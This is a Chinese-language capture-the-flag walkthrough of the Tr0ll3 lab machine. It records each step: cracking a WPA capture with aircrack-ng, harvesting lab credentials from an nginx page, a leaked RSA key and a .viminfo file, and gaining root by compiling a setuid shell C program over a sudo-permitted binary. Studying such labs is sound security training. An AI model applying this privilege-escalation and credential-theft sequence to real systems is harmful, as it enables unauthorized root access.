# 靶场搭建

下载,导入虚拟机,设置为 NAT 模式

IP: 192.168.1.128

# 信息初收集

要求登录到 ssh 上,账号密码: start/here

服务器信息收集,做一下。看一下服务器版本信息、定时任务、运行了哪些程序、哪些账户、哪些文件有读写权限

# 可读写文件

start@Tr0ll3:/var/log/.dist-manage$ find / -type f -perm 0777 2>/dev/null
/var/log/.dist-manage/wytshadow.cap
/.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/gold_star.txt

看到了一个流量文件和一个 txt,txt 看上去像是密码?

wireshark 打开 cap 看了一下,看上去像是无线流量, 无线+字典=跑包 ,公式直接秒了

# 渗透过程

# 无线跑包

┌──(root㉿kali)-[~/Desktop]
└─# aircrack-ng wytshadow.cap -w gold_star.txt
                               Aircrack-ng 1.7 

      [00:13:06] 2418648/3248872 keys tested (3128.86 k/s) 

      Time left: 4 minutes, 25 seconds                          74.45%

                          KEY FOUND! [ gaUoCe34t1 ]


      Master Key     : ED 12 0B 40 F5 AF 80 16 F5 F7 4F 9F 9E 39 BB AE 
                       00 32 07 E9 26 81 31 DB 9C 54 64 84 5E 5D 19 C6 

      Transient Key  : 7F 1C A9 01 4E B9 B3 6F B3 95 7D D2 6E C9 10 BE 
                       50 D4 1A 6C 72 F8 AB 8B 97 A4 20 B1 2D 92 19 18 
                       C7 86 C0 17 2D 05 28 C7 6F 95 06 12 4F C2 F5 2A 
                       87 B7 F5 21 22 3D F7 CA BC 99 8B B5 CA 15 EA 43 

      EAPOL HMAC     : 73 4D E4 22 8E B7 F2 91 4E 74 7D CF 59 73 80 F7 

得到账号 wytshadow 账号的密码

ssh 连上去

# ngxin

拿到 wytshadow 的 shell 之后看一下信息

本目录下有一个 oohfan 文件有 s 位,能以 root 权限运行,strings 没看到有什么可以利用的地方,运行一下感觉是循环输出。

查了一下 sudo 权限,没有 su 的权限,但是有 nginx 的 sudo 权限。

wytshadow@Tr0ll3:~$ sudo -l
[sudo] password for wytshadow: 
Matching Defaults entries for wytshadow on Tr0ll3:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wytshadow may run the following commands on Tr0ll3:
    (root) /usr/sbin/service nginx start

启动 nginx 服务器,查看 nginx 配置信息: sudo service nginx start

cat /etcnginx/sites-enabled/default

发现端口是 8080,且必须要 UA 头是 Lynx* 才能正常访问。

于是要安装 Lynx 浏览器,或者使用插件固定 header 中的 UA 字段。

使用 lynx 浏览器打开网站

┌──(root㉿kali)-[~/Desktop]
└─# lynx http://192.168.1.128:8080/

拿到一组账号密码: genphlux:HF9nd0cR!

ssh 上去

# RSA 私钥泄露

查看 home 目录发现有一个 RSA 私钥,maleus 用户的,直接 copy 下来,用私钥进行登录

┌──(root㉿kali)-[~/Desktop]
└─# scp [email protected]:~/maleus ./      
[email protected]'s password: 
maleus                                                                                  100% 1675   885.2KB/s   00:00    
                                                                                                                          
┌──(root㉿kali)-[~/Desktop]
└─# ls -al                         
total 42084
drwxr-xr-x  7 root    root     4096 Apr 29 21:56 .
drwx------ 26 root    root     4096 Apr 29 21:55 ..
-rwxr-xr-x  1 root    root     1451 Apr 29 19:50 46978.sh
drwxr-xr-x 13 root    root     4096 Jan 26 00:29 OneForAll
drwxr-xr-x  2 root    root     4096 Jan 26 00:19 docker_arl
drwxr-xr-x  2 root    root     4096 Feb 20 21:55 frp
-rw-r--r--  1 root    root  7245381 Apr  9 04:54 fsocity.dic
-rwxr-xr-x  1 root    root 35737600 Apr 29 20:33 gold_star.txt
-rw-r--r--  1 root    root     1675 Apr 29 21:56 maleus
-rw-r--r--  1 root    root      253 Apr  9 07:01 pass.txt
drwx------  2 gddfeng 1004     4096 Apr 10 07:22 php-reverse-shell-1.0
-rwxrw-rw-  1 root    root     9018 Apr 10 07:19 php-reverse-shell-1.0.tar.gz
drwxr-xr-x  7 root    root     4096 Apr 29 04:22 reports
-rw-r--r--  1 root    root       31 Mar  3  2018 users.txt.bk
-rwxr-xr-x  1 root    root    49962 Apr 29 20:33 wytshadow.cap
                                                                                                                          
┌──(root㉿kali)-[~/Desktop]
└─# chmod 600 maleus 
                                                                                                                          
┌──(root㉿kali)-[~/Desktop]
└─# ssh -i maleus [email protected]

# vim 文件泄露

查看本地文件有一个 .viminfo 文件,cat 他发现历史记录中修改过密码 B^slc8I$ ,拿到了 maleus 的密码

sudo 一下看看权限

maleus@Tr0ll3:~$ sudo -l
[sudo] password for maleus: 
Matching Defaults entries for maleus on Tr0ll3:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User maleus may run the following commands on Tr0ll3:
    (root) /home/maleus/dont_even_bother

dont_even_bother 文件有 root 权限,cat 一下这个文件,发现了密码: Enter the password : xl8Fpx%6

运行了一下,无事发生 ==、

# 提权

目标机器上有 gcc

那么直接编写一个 C 语言的提权小脚本,然后直接覆盖这个 dont_even_bother 文件,sudo 执行进行提权。

首先删除 .viminfo 文件,不然 vim 的时候报错 ==、

然后随便创建一个 1.c,并写入代码:

int main (void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}

然后编译一下这个: maleus@Tr0ll3:~$ gcc 1.c -o dont_even_bother

sudo 执行

maleus@Tr0ll3:~$ sudo ./dont_even_bother 
# id
uid=0(root) gid=0(root) groups=0(root)

拿到了最高权限。

# 小结

信息收集的过程考验细心程度和想象力。

主要还是几个点,可读写的文件、泄露的账号密码、拥有 suid 标志的可执行文件。

新的方法:GCC 编译提权文件,覆盖原 S 标志位文件。